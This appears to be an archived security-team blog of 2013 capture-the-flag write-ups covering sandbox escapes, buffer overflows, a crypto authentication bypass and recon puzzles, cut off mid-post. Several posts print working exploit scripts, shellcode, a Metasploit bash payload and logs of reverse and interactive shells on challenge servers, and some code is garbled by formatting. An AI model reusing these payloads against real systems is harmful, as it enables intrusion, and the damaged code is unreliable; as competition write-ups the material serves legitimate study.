## Sunday, December 29, 2013

### 30C3 CTF - int80 (sandbox 300)

Int80 was another sandbox-escape task on the awesome 30C3 CTF. In this task you could send in (via TCP) x86-64 machine code, which was filtered and later executed on a GNU/Linux machine. The filtering was done by searching for bytes that could be a syscall, sysenter or int 80 instructions (on byte level, not the instruction level), and changing them to a series of NOPs.

Additionally before the code was executed all registers were zeroed, and so was part of the stack (on the upper side of the RSP register) - the intention was to avoid address leaks and so disallow jumps into libc or the server binary itself (ASLR-rich land it was).

The problem discovered by us was that the lower side of the stack was not cleaned and it did contain an address to one of the server-binary functions (the signal handler). This allowed us to write a simple scanner that looked for the last 12-bits (the not-affected-by-ASLR ones) of the function address on the stack, grab that address, and then use it to call _mprotect function in the server binary itself. At some point we noticed that the offset of this address on the stack is identical to the local one, so we removed the "scanner" and replaced it with "static" code, that looked like this (nasm dialect):

_start:

mov rsi, rsp
mov rax, [rsi-0x80] ; The handler function address will be here.
sub rax, 0x2020F0
and rax, 0xfffffffffffff000
jmp mprot

mprot:
add rax, 0x980 ; Offset of _mprotect function from base.
mov r8, rax

lea rax, [rel $] and rax, 0xfffffffffffff000 mov rdi, rax mov esi, 0x200 mov edx, 7 call r8 ; Make this area RWX!  Calling the _mprotect function made the shellcode area RWX again and allowed us to do some SMC to get the syscall instruction we needed for a reverse shell. The SMC we used looked like this:  inc byte [rel n1] n1: db 0x0e, 0x05 ; This is syscall opcode minus 1  The rest, as they say, is history. ### 30C3 CTF - HolyChallenge (pwn 500) HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :) Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this: U0 service_main() { CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n"); U8 buffer[128]; CommBusyGetS(1, buffer); ← obvious buffer overflow CommBusyPutS(1, "Unfortunately, there is not much in here, "); CommBusyPutS(1, buffer); CommBusyPutS(1, ".\n"); } U0 service_parent() { U8 b[1024]; service_main; CommBusyPutS(1, "Hope you still had some fun...\nBye!\n"); } service_parent; So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process). We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp$) sequence in memory below current RIP:

U8 *y;
for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);

Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.

The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.

The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:

[bits 64]

; Give us some breathing space on the stack.
sub rsp, 0x100
mov rbp, rsp
sub rsp, 0x100

; Get the flag.
push 64
lea rax, [rel str1]
push rax
call rax

; Send it.
push rax
push 1
mov eax, 0x1dcf0 ; CommBusyPutS
call rax

; Enter the debugger.
ud2

str1: db "Flag.TXT", 0


The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:

gynvael:haven-windows> test2.py
Welcome to Holy Challenge!
Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :)

please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa
>
-- Work to do: 79aa76aa
Running: a.exe 79aa76aa>solved2.txt
Solution: TyMBBg==
Right, now we start a vm for you (it will be killed after 30 seconds).
Hi!
Welcome to the HolyChall!

Unfortunately, there is not much in here, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBö@♥.
30C3_8toOUj01ONlWK


The Python part of our exploit:

# Echo server program
import socket
import struct
import sys
import os
import base64

def RecvUntil(sock, txt):
d = ""
while d.find(txt) == -1:
try:
dnow = sock.recv(1024)
if len(dnow) == 0:
print "[WARNING] RecvUntil() failed at recv"
return False
except socket.error as msg:
print "[WARNING] RecvUntil() failed:", msg
return False

d += dnow

return d

HOST = '88.198.89.193'
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = RecvUntil(s, "> ")
print data

work=data[data.find('hex:') + 4:]
work=work[:8]

print "-- Work to do:", work

to_run = "a.exe %s>solved.txt" % work
print "Running:", to_run

os.system(to_run)

n = base64.b64encode(struct.pack("<I", n))
print "Solution:", n

s.sendall(n + "\n")

data = RecvUntil(s, "Whats Your Name?")
print data

JMP_RSP = struct.pack("<Q", 0x34094)

#shell = "asdf"
shell = ("A"*128)
shell += ("B"*8)
shell += JMP_RSP

with open("shellcode", "rb") as f:

shell += "\n";

s.sendall(shell)

data = RecvUntil(s, ".")
print data

while True:
d = s.recv(1024)
if d == '':
break
print "Recv:", d



### 30C3 CTF - PyExec (sandbox 300)

TL;DR: # coding: unicode_escape

PyExec was a python-sandbox-escape type challenge on the recent 30C3 CTF. Basically you were allowed to execute filtered Python code server-side, where the filter was a mix of a blacklist and a whitelist. The solution turned out to be quite amusing :)

The code was fed to the server using a very simple web app that looked like this:

Since you were also given the source code of the server, you could peek at the filtering code, which worked like this:

• It blacklisted all interesting function names (strings search), like "open" or "eval".
• It allowed (whitelisted) only characters that matched this regular expression:
^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$The regexp allows: • whitespaces • lower letters (only lower, no upper) • digits • and these special characters: # , + * / \ : % > < = _ - If the filter disliked something, the code was not executed. Codes that passed the filter were written into a temporary file and executed by an external Python process. The solution is obvious if you have played with Python source code charsets before - declare a coding using the # coding: name directive and encode your payload with it. At first we tried to go with utf-7, but since no upper characters are allowed, that turned out to be a no go. Finally we settled for a Python-specific codec called unicode_escape which allows the whole source code to look like inside-a-string escape sequences: # coding: unicode_escape \x41\x41\x41\x41 In the end we've encoded a Python reverse shell to this encoding and used it to find and read the flag: > nc -v -l 1234 Connection from 88.198.89.213 port 1234 [tcp/*] accepted /bin/sh: 0: can't access tty; job control turned off$ ls
flag.txt
static
webapp.py
$cat flag.txt 30C3_2a2766d9cf4a137d517a8227bd71d59d$

And that's it.

## Sunday, September 29, 2013

### No cON Name Facebook CTF Quals 2013 - all three levels

A 41h CTF with only 3 easy challenges? Meet No cON Name Facebook CTF Quals 2013, who's name is longer than it took to solve the tasks!

Our write-up in PDF format, for all three tasks, is available here: Dragon Sector write-ups

## Monday, September 23, 2013

### CSAW Quals 2013 - Diary (Exploitation 300)

In this task we were given 32 bit x86 Linux binary "fil_chal".
First let's check it's hardening status:

$checksec.sh --file fil_chal RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX disabled No PIE No RPATH No RUNPATH fil_chal  Ok, so we have executable stack that we can use for our exploit - we only have to defeat stack randomisation. Of course we first have to find vulnerability, so let's start by loading the binary in IDA and using Hex Rays decompiler. Binary decompiled cleanly and we won't need IDA anymore. Looking through fil_chal.c file shows standard TCP daemon setup - binary listens on port 34266 and forks after accepting a connection. After connecting to the port we are greeted by username/password prompt:  ************* $        AAAAAAA  *****                   *****
*   *******  *    $ A A * * * * * * ***$ $$$A A A A * * * * * * A A___A A * * * * * * A A * * **** * * * * A AAA A * * * * * * * * *** A A A A * *** *** * * ******** *$$$    A    A   A    A     *             *
*************   $$AAAAAA AAAAAA ************* Dairy UserName: Password:  By searching for UserName string it's easy to discover under function responsible for authentication and hardcoded credentials:  v9 = (int)"csaw2013"; v15 = (int)"S1mplePWD";  Quick check of login process shows no vulnerabilities - all buffers have correct size. After logging in with our stolen credentials application asks for entry size and then reads given number of bytes from the client. Data is then written to a file which is immediately deleted after that (not really that useful as a diary ;) As one can expect the vulnerability is a buffer overflow while reading the entry. Code responsible for reading entry size:  __int16 v6; // [sp+1Ah] [bp-Eh]@1 ... if ( read(fd, &buf, 0xAu) == -1 ) { perror("read: "); result = 0; } else { v6 = atoi((const char *)&buf); if ( v6 ) { *(_WORD *)a2 = v6; result = 1; } else { send(fd, "Invalid Input or need atleast a size of 1\n", 0x2Au, 0); result = 0; } }  atoi() result is then used as an argument for read() in following code (sub_8048EFE)  ... n = a2; if ( (unsigned int)(a2 + 1) <= 0x400 ) { v7 = recv(fd, &buf, n, 0); if ( v7 == -1 ) { perror("recv: "); ...  atoi() result could be negative and mixing it with unsigned argument is always a bad idea, but author put in the check to prevent overflowing the buffer. Lucky for us the check has +1 in it - introducing the vulnerability. If we pass "-1" as a note size (a2+1) will be 0 and will pass the check, but recv() will receive -1, which will be interpreted as 0xffffffff giving us a buffer overflow. Sending -1 as entry size and 1067 bytes will overwrite saved ip. As said before stack is executable so we can upload shellcode of our choice in submitted diary entry, we only have to find out it's location in memory. We can use the send() function to leak stack memory. Let's run binary under gdb, break at last instruction of sub_8048EFE and look at the stack layout:  Breakpoint 2, 0x08049112 in ?? () (gdb) x/20xw esp 0xbffffab8: 0x41414141 0x41414141 0x00000008 0xffffffff 0xbffffac8: 0x0000000c 0x00000000 0xb7f0a249 0xb7fc6ff4 0xbffffad8: 0xbffffaf8 0xffffffff 0x00000000 0xffff0000 0xbffffae8: 0x0804967b 0x0804966e 0xb7fc6ff4 0x00000000 0xbffffaf8: 0xbffffbe8 0x08048bde 0x00000008 0xbffffbb4  There are 2 interesting two addresses in stack range - 0xbffffaf8 and 0xbffffbe8. Both point to stack areas with useful addresses, but first proved to produce different results at remote server, while second (0xbffffbe8) worked perfectly. Let's also check the address of input buffer 'buf', we'll need it later:  |0x8048f5e mov DWORD PTR [esp+0xc],0x0 |0x8048f66 mov edx,DWORD PTR [ebp-0x14] |0x8048f69 mov DWORD PTR [esp+0x8],edx |0x8048f6d lea edx,[ebp-0x41c] |0x8048f73 mov DWORD PTR [esp+0x4],edx >|0x8048f77 mov DWORD PTR [esp],eax |0x8048f7a call 0x8048890 <recv> (gdb) p/x edx 3 = 0xbffff69c  Our call to send() has to be placed before our chosen stack address, so we have to raise esp to get there - instead of searching for better gadgets I just used "RET" multiple times - there is no limit on exploit length. Here's final code use to leak the stack:  #!/usr/bin/perl use IO::Socket::INET; use warnings; use IO::Select; use bytes; | = 1; our socket = new IO::Socket::INET( PeerHost => ARGV[0], PeerPort => '34266', Reuse => 1, Proto => 'tcp', ) or die "ERROR in Socket Creation : !\n"; print socket "csaw2013\nS1mplePWD\n-1\n"; my data; socket->recv(data, 66666); print socket "A" x 1056, "\x13\x91\x04\x08" x 13, # sequence of RETs to raise esp "\x04\x8d\x04\x08", # address of send() call "\x04\x00\x00\x00", # socket fd ; socket->recv(data, 66666); print data;  This will produce following output:  ... 00002b8: 7377 6f72 643a 2057 sword: W 00002c0: 656c 636f 6d65 210a elcome!. 00002c8: 6874 7470 3a2f 2f79 http://y 00002d0: 6f75 7475 2e62 652f outu.be/ 00002d8: 4b6d 747a 5143 5368 KmtzQCSh 00002e0: 3678 6b0a 0a45 6e74 6xk..Ent 00002e8: 7279 2049 6e66 6f3a ry Info: 00002f0: 2060 e8f1 b700 0000 ...... 00002f8: 0000 0000 0000 0000 ........ 0000300: 0080 39fd b700 0000 ..9.....  Right after 'Entry info: ' prompt we have our precious stack address - 0xb7f1e860. Now all we have to do is run the same script on our local host - comparing them will give us an offset. Let's add this offset to our previosly discovered 'buf' address and we have what we need - address of our input buffer on the server. All we need now is a shellcode. I've generated it from metasploit's msfpayload (bash fd redirection is used in arguments):   msfpayload linux/x86/exec CMD="/bin/bash 1>&4 0<&4" P # linux/x86/exec - 55 bytes # http://www.metasploit.com # VERBOSE=false, PrependSetresuid=false, # PrependSetreuid=false, PrependSetuid=false, # PrependSetresgid=false, PrependSetregid=false, # PrependSetgid=false, PrependChrootBreak=false, # AppendExit=false, CMD=/bin/bash 1>&4 0<&4 my buf = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" . "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" . "\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" . "\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";  Here's a script go gain shell:  #!/usr/bin/perl use IO::Socket::INET; use warnings; use IO::Select; use bytes; | = 1; our socket = new IO::Socket::INET( PeerHost => ARGV[0], PeerPort => '34266', Reuse => 1, Proto => 'tcp', ) or die "ERROR in Socket Creation : !\n"; print socket "csaw2013\nS1mplePWD\n-1\n"; my data; socket->recv(data, 6666666); my shellcode= "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" . "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" . "\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" . "\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80"; print socket "A" x 1056, "\x4a\xf6\xff\xbf", # calculated return address "\x90" x 20, # short nopsled just in case shellcode; # shellcode # interact with shell my ioset = IO::Select->new; ioset->add(\*STDIN); ioset->add(socket); my data; while(@ready = ioset->can_read) { foreach fh (@ready) { if (fh == socket){ socket->recv(data, 6666666); print data; }else{ my cmd = <STDIN>; print socket cmd; } } } socket->close();  Let's run it:  perl shell.pl 128.238.66.217 *************$$$$AAAAAAA ***** ***** * ******* *$$   $$A A * * * * * * ***$$       A  A A  A   *   *               *   *
*  *                          A  A___A  A   *   *             *   *
*  *                         A           A   *   *    ****   *   *
*  *                        A     AAA     A   *   *   *  *  *   *
*  *       ***              A    A   A    A    *   ***   ***   *
*  ********  *   $$A A A A * * *************$$    AAAAAA   AAAAAA      *************
Dairy

http://youtu.be/KmtzQCSh6xk

Entry Info:
id
uid=1001(crackme) gid=1001(crackme) groups=1001(crackme)
ls
fil_chal
key
cat key
key{signness_oh_what_a_world_we_live_in}


Success!

### CSAW CTF Quals 2013 - slurp (crypto 500)

Another CSAW write up - crypto 500! This task was solved by adam_i, fel1x and redford on behalf of Dragon Sector.

The challenge was:

“We've found the source to the Arstotzka spies rendevous server, we must find out their new vault key.” You are also provided with a slurp.py python script and the ip:port.
Trivia: Arstotzka is the place of a indie game called “Papers, Please”. The game has a very unusual gameplay. In the game you play a border control guard who is checking the the passports of persons wanting to enter Arstotzka. The game plays in a fictional Eastern Block state but the setting could also portrait modern day USA.

slurp.py is the server listening on 128.238.66.222:7788. The goal is to pass it’s authentication scheme to get the flag.
The authentication protocol is as follows:

Phase 1, sha1 challenge

Server -> Client:
base64_encoded_24bit_urandom
Client -> Server:
The client has to find a value so that the hash    $$sha1(base64\_encoded\_24bit\_urandom\ +\ client\_choosen\_chars)$$    ends with "\xFF\xFF\xFF". If the client is able to generate such a hash, the server continues to phase 2.
We solved this phase with a simple brute force of the sha1 hash. After a few seconds you can find a sha1 hash which suffices the
server-supplied challenge.

Phase 2, authentication

Remark 1:
The values sent by the client are transfer in a way that would potentially allow negative values. The formatting uses a unsigned short as packed length, concatenated with a string of the value in hexadecimal notation. However we couldn’t find any use for this during the exploitation.
Remark 2:
The random number generation used by the server is not perfect. It generates a 2048 bit number from 320 bit output of urandom, however it’s hashed in such a way that a portion of the resulting number will be contain zero bit. We couldn’t find a way to use this during the exploitation.
  def cryptrand(self,n=2048):
p1=self.hashToInt(os.urandom(40))<<1600
p1+=self.hashToInt(p1)<<1000
p1+=self.hashToInt(p1)<<500
p1+=self.hashToInt(p1)
return  (p1% self.N)

Server -> Client:
“Welcome to Arstotzka's check in server, please provide the agent number”
Client -> Server:
The client chooses the values of index and cEphemeral and send them to the server.
Index has to be at least 2, but not greater than N/2 (N is constant, known prime used as modulus in all operations).
The only restriction on cEphemeral is that cEphemeral % N != 0.
Server -> Client:
The server sends the values of sEphermeral, salt.
The client already knows salt because it’s sha512(index).
Client -> Server:
The client calculates the gennedKey and sends it to the server.
Server -> Client:
The server checks whether the server-calculated gennedKey is the same as the one provided by the client.    Then it tells the client whether authentication was successful or not.    If the authentication was successful, the server sends:
“Well done comrade, the key to the vault is $flag_value”. If you’re able to crack the authentication, you get the flag and solve the challenge. So how does the server test authentication? The client-supplied values are: index, cEphemeral The server settings are: password, 2048 bit modulus N The password is actually empty in the provided sources which let us to a dead end; more on this later. Then the server calculates: $$salt = sha512(index)$$ $$storedKey = index^{sha512(salt, password)}\ mod\ N$$ $$sEphemeralPriv = cryptrand()\ \ \#a\ 2048\ bit\ value,\ random\ in\ every\ connection$$ $$sEphemeral = index^{sEphemeralPriv} + 3 * storedKey\ mod\ N$$ $$sEphemeral = index^{sEphemeralPriv} + 3 * index^{sha512(salt + password)}\ mod\ N$$ $$\Longleftrightarrow$$ $$index^{sEphemeralPriv} = sEphemeral - 3 * index^{sha512(salt + password)}\ mod\ N$$ Note that sEphemeral and salt are now sent to the client $$slush = sha512(cEphemeral, sEphemeral)$$ $$agreedKey = sha512( (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N )$$ $$gennedKey = sha512(sha512(N) \oplus sha512(index), sha512(index), salt, cEphemeral, sEphemeral, agreedKey)$$ The only unknown value is agreedKey. Then, the compare on the client-supplied gennedKey is done. So, the client needs to find a known agreedKey. First attempt Our first attempt was to calculate the agreedKey, which is actually possible without knowing the randomly generated sEphemeralPriv. $$agreedKey = sha512( (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N )$$ $$agreedKey = sha512( agreedKey\_withouthash )$$ $$agreedKey\_withouthash = (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (cEphemeral * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ If we choose $$cEphemeral = index^{xxx}$$ we get $$agreedKey\_withouthash = (index^{xxx} * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (index^{xxx + sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (index^{sEphemeralPriv})^{xxx + sha512(salt, password) * slush}\ mod\ N$$ With the following value from above: $$index^{sEphemeralPriv} = sEphemeral - 3 * index^{sha512(salt + password)}\ mod\ N$$ We get the following: $$agreedKey\_withouthash = (sEphemeral - 3 * index^{sha512(salt + password)})^{xxx + sha512(salt, password) * slush}\ mod\ N$$ So, we had a formula for calculating agreedKey and knew all variables of the formula. By calculating agreedKey we were able to calculate gennedKey and send it to the server. This all worked well for our test environment. However it did not work on the live flag server. Our guess was that the password is different on the live flag server, thus we were not able to calculate the correct agreedKey. Second attempt Our second attempt which was successful in the end, was to carefully choose the index. Let’s look again at this equation: $$agreedKey\_withouthash = (cEphemeral * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ We can set cEphemeral to 1 (the value is from the client), which simplifies the formula to: $$agreedKey\_withouthash = index^{sha512(salt, password) * slush * sEphemeralPriv}\ mod\ N$$ Because the exponential is changing for each connection on random, we can assume that it’s divisible by some small number, e.g. 3 or 4 (if not, we can retry until it is). So, let’s now find the index, such that: $$index^3 = 1\ (mod\ N)$$ (index is cubic root of 1 modulo prime N) If we manage to find such index and (sha512(salt, password) * slush * sEphemeralPriv) will be divisible by 3, agreedKey_withouthash will equals to 1. How to find it? One line in mathematica: Reduce[x^3 == 1, x, Modulus->5924486056224…(the value of N)] Result: http://wklej.org/hash/3ca3fcbd545/txt/ There are 3 solutions, but only the second one satisfies constraints on the index value. Now we have to set the index to this number, calculate agreedKey = SHA512(1) and send the data, until it succeeds ;) Remarks: Instead of 3 you could use 4 and then find the root using formula: $$a^{\frac{N-1}{4}}$$ (a can be, for example, 2). You couldn’t use 2 instead of 3, because the only quadratic roots of 1 are 1 and -1 (refused by server’s constraints). ### CSAW CTF Quals 2013 - RECON (all) Another CSAW CTF 2013 quals write up! This time by our guest player dyjakan, who has written down the solutions discovered by himself, as well as other Dragon Sector players: mak, gynvael, hasherezade, etc (half of the team went after Teddy heh). Enyoj! == Recon-1: Alexander Taylor == After initial recon, we could not find proper solution. We have spent a lot of time browsing through rather funny trolling site [http://legitass.net] where we have landed because "Randall Flagg" (@CTF_tr0ll) is following Alexander (@fuzyll). Meanwhile, following announcement was made: "An error has been fixed in the Alexander Taylor recon challenge. Please reset your reconnaissance.". We did follow their advice and within minutes we have found out that the answer is residing in Alex's profile picture on "Judges" sub-page. Let's see:$ pnginfo ataylor.png
ataylor.png...
Image Width: 604 Image Length: 401
Bitdepth (Bits/Sample): 8
Channels (Samples/Pixel): 3
Pixel depth (Pixel Depth): 24
Colour Type (Photometric Interpretation): RGB
Image filter: Single row per byte filter
Interlacing: No interlacing
Compression Scheme: Deflate method 8, 32k window
Resolution: 11811, 11811 (pixels per meter)
FillOrder: msb-to-lsb
Byte Order: Network (Big Endian)
Number of text strings: 3 of 9
These aren't the chunks you're looking for. (tEXt uncompressed):
Move along. (tEXt uncompressed):

It does look interesting. Digging further revealed XOR-ed kTxt chunk which we have beaten with our internal tool.

Key: SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE

== Recon-2: Julian Cohen ==
Looking around got us to Julians wiki user page: http://en.wikipedia.org/wiki/User_talk:HockeyInJune and the following message:

Check out my new website: http://omnom.nom.co/

Testing the IP (http://23.23.196.37/) instead of using the domain revealed the flag:

Key: 1a8024a820bdc7b31b79a2d3a9ae7c02

== Recon-3: Jordan Wiens ==
Jumping into linked site [http://key.psifertex.com] shows us this: "Michael Vario sure does some suspicious signs, hope he doesn't do me". Quick googling for "Michael Vario" leads us to his blog post about PGP magic. We ignore the post, instead we check Jordan's PGP key at MIT key server [http://pgp.mit.edu]. So, it looks that we are on the right track: "pub  2048R/A827D636 2013-08-08 Jordan Wiens (CSAW folks: getting warmer) <csaw@psifertex.com>". We have examined this key and concluded that it contains embedded image. Time for some one-liner action:

$gpg --recv-keys 0x9fbebc5ea827d636 && gpg --list-options show-photos --fingerprint 0x9fbebc5ea827d636 Key: mvarioisnotmyhomeboy == Recon-4: Kevin Chung == This recon challenge, along with teddy, was the most time-consuming for us. We have spent a lot of time googling for Kevin, alas without success. However, we were not alone in our misery -- apparently other teams also suffered with us, thus organizers have released a hint ("Hint for Kevin Chung: What places can you graduate from?"). After that we have managed to find a link to the key which was residing in "Previous Winners" section of CSAW High School Cyber Forensics Challenge [https://hsf.isis.poly.edu]. Key: who_in_the_world_is_kevin_chung Bonus-1: We digg history of SITH's wiki page [http://en.wikipedia.org/wiki/Staten_Island_Technical_High_School]. Bonus-2: We digg this [http://54.243.84.85] even more. == Recon-5: historypeats == After googling for historypeats footprint, we quickly stumbled upon this github profile [https://github.com/historypeats]. Checking out public activity of this account [https://github.com/historypeats?tab=activity] quickly reveals flag [https://github.com/historypeats/putscan/commit/a31512af6e8f2ae76bce11c0bd363f899e3488d1]. Key: whatDidtheF0xSay? == Recon-6: Brandon Edwards == We have started off with "Brandon Edwards" search results from Google. We knew, a priori, that his handle is drraid, hence we have added this to our query string. With such results we quickly checked out social pages where we have found out about his relation to sophsec [http://www.sophsec.com] (via GitHub). The key was sitting in source code of main page. Key: a959962111ea3fed179eb044d5b80407 == Recon-7: Odin == Well, this one was quick. Everyone who joined #csaw IRC channel must have noticed user @snOwDIN. Lo and behold: whois snOwDIN 19:20 -!- snOwDIN [~o@ISIS-B0CFAD3E.com]19:20 -!- ircname : linkedin:chinesespies 19:20 -!- channels : @#odin @#csaw19:20 -!- server : isis.poly.edu [ISIS IRC Server] 19:20 -!- : is using a Secure Connection 19:20 -!- idle : 0 days 0 hours 1 mins 18 secs [signon: Thu Sep 19 21:04:20 2013]19:20 -!- End of WHOIS Visiting chinesespies linkedin account revealed key to us. Key: cookies_are_for_csaw == Recon-8: Theodore Reed == Major PITA for everyone. We did *a lot* of googling here. This approach was doubleplusungood, instead we should have focused on things that were right in front of our eyes. Anyway, organizers felt everyone's frustration and released yet another hint: "Hint: From "http://prosauce.org" it takes three clicks (Now it takes more because of asshole CTF players)". This looked helpful. We pulled out all teh links (internal and external) from teddy's website [http://prosauce.org] and glanced through them. Finally, we have managed to score the flag which was residing 5-clicks away: http://prosauce.org -> http://prosauce.org/projects/ -> http://www.youtube.com/watch?v=RCTRSK45bS4 -> "All comments" -> "Show". Key: shmoonconrocksglhfwithcsaw ### CSAW CTF Quals 2013 - SCP-hack (exploitation 500) This was the highest scored exploitation challenge at the CSAW CTF qualification round. At the moment of writing these words (still 4 hours of CTF left) only 5 teams have solved it out of 1375 participating, including ours (and it took us a lot of time and a number of attempts). Several people from our team worked on this task, including, among others, hasherezade, mak, fel1x, and myself (gynvael), and we have finally solved it late Saturaday night. Oh. And by the way, don't expect any actual exploitation - this turned out to be a Networking task. The task had the following description: The SCP organization (http://128.238.66.211:45000) wants you to join, accept and see if you can take advantage of their interns sloppy coding and outdated browser. The website itself (e.g. http://128.238.66.211:45000/?invite=BL9UDG4MZG6S) greeted you with the following message: Note: the GitHub link led to a python script parser_server.py, mirrored here. So the first thing to do was to access the website with our invite token (?invite=...) from the required countries (distinguished probably by IP whois information or IP ranges). This could have been done using various methods like proxies, TOR, websites and servers "pinging" given URLs, etc. In the end after several hours we had only 5/7 required flags lit, and were looking into some more hardcore methods, but to our surprise the rules were simplified to require only 5 flags lit, which we already had (kudos to teams which actually had 7/7). Once the required amount of flags were gathered, an upload form appeared: At this moment the focus in the challenge shifts to the script parser_server.py, which turned out to be only a hint anyway - this script wasn't really used in the available version; and to the following hint-text on the website: If you are invited, try using a link to your photo instead of your 'commonName' in your certificate signing request! So what you could do now, is upload a certificate request with a link to whatever in the commonName field, and that link would be visited by something that claimed to be MSIE7b: GET /whatever HTTP/1.1 Referer: http://intern-box.thescpinternational.local/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Accept: */* Host: myIP:43432 Connection: Keep-Alive Note: we've done several tests, and determined that's probably just wget or curl pretending to be MSIE. Thinking that it was curl actually made us go to the curl FAQ website where the curl-supported protocols are listed, and we started going through them one by one, to actually figure out that only 3 worked (yes, these are the ones listed in parser_server.py too): http://, https:// and file://. Since nothing we tried with HTTP or HTTPS actually worked, we switched focus to file://, which actually is SMB over NetBIOS over TPC. We've set up a tunnel to a Windows 7 VM and observed the traffic in wireshark: The important information here is: 1. The connection is rejected, because Windows doesn't like to be called other names (like not-its IP address, first part of not-its IP address, or *SMBSERVER) 2. It's UBUNTU. This just proves it wasn't MSIE7b to begin with. We followed up by changing the name of the Windows 7 VM to helium, and pointing an A DNS record to its external IP with the name helium.whatever.domain.we.own. At that we uploaded a new certificate signing request that pointed to the same host using the new DNS record, and got this: And yes, that's the flag in the NTLMSSP_AUTH attempt - key=whereisthedirtysmellysauce. Honestly, we have not expected it to be there, but well, that's 500 points for checking :) To summarize I'll repeat myself - I think this task should be in Networking/Miscellaneous category, and not in the Exploitation one, which was pretty misleading. In the end we're just glad to have solved it. ### CSAW CTF Quals 2013 - GameMan (exploitation 400) Another CSAW CTF 2013 Quals exploitation task - this time for 400 points (there were two exp400 tasks, this one is the one added Saturday evening/night). It was solved by 26 teams (at the moment of writing these words; still 1h of CTF left), including ours, which is quite surprising since this task turned out to be really simple. On behalf of Dragon Sector it was worked on and solved by myself (gynvael) and mak. The task description task was quite brief: nc 128.238.66.223 1025 < hello_world.gbc hello_world.gbc The extension - .gbc - tells about a GameBoy Cartridge, so we expected some funky Z80 hacking. But it turned out we were wrong. When you actually execute the above command, this is the what you get: Insert Cartridge... Loaded: CSAW CTF 2013 OK OK OK Hello World! So it actually prints out Hello World. However, to our surprise, launching it in a GameBoy emulator didn't give the same results - it actually either did nothing or crashed inside the emulator. We started to analyze the Z80 code, but we weren't getting anywhere - the code just didn't make any sense. So we decided to fall back to looking at the hex editor, trying to figure out if we maybe got the CPU wrong. Take a look at the following screen shot: The part marked in black is the code at entry point, obviously responsible for writing out "Hello World". Notice anything funny about it? The "h" letter before 4-char pieces of the string? The "B8 01 00 00 00" sequence? The "CD 80" sequence? Yes ladies and gentlemen - this isn't Z80, it's x86/Linux! So what actually happens, is that the network daemon on 128.238.66.223:1025 is fetching a GBC cartridge, checking the checksums, and executing the x86 code that is placed at the entry point. And what we need to do is to put a different shellcode there (a reverse shell for example), fix the GBC checksums, and send it to the daemon. The hardest part here were the checksums. Well OK, I'm actually exaggerating - it was the easiest part, since the emulator I was using (bgb - it's pretty awesome btw) would show me proper CRC values in the debugger: So all you had to do was: 1. Paste your shellcode at 0x150. 2. Run bgb, note the correct checksums and put them in the gbc file at correct offsets. 3. Execute: nc 128.238.66.223 1025 < myexp.gbc The result? It worked pretty well :) ### CSAW CTF Quals 2013 - CryptoMatv2 (web 400_2) Another CSAW CTF quals 2013 challenge added Saturday evening (late night for Dragon Sector actually). It was worth 400 points, solved by 41 